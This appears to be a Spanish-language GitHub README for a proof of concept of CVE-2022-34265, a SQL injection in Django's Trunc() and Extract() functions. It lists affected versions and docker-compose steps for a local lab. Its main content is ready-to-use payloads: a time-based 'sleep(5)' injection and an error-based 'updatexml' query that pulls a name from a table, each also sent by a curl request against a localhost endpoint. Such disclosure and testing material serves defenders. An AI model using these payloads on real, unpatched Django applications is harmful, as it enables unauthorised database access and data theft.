zhaoqi99/cve-2022-34265PoC para CVE-2022-34265
PoC para CVE-2022-34265
Se descubrió un problema en Django 3.2 anterior a 3.2.14 y 4.0 anterior a 4.0.6. Las funciones de base de datos Trunc() y Extract() son susceptibles a inyección SQL si se utilizan datos no confiables como valor de kind/lookup_name. Las aplicaciones que restringen la elección del nombre de búsqueda y tipo a una lista segura conocida no se ven afectadas.
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d
docker-compose down
Django >= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
YEAR FROM start_time)) ;select sleep(5)--
YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"
PD: En el caso de diferentes bases de datos, la existencia de vulnerabilidades es diferente. La vulnerabilidad no existe en el backend de base de datos MYSQL para la función
Trunc.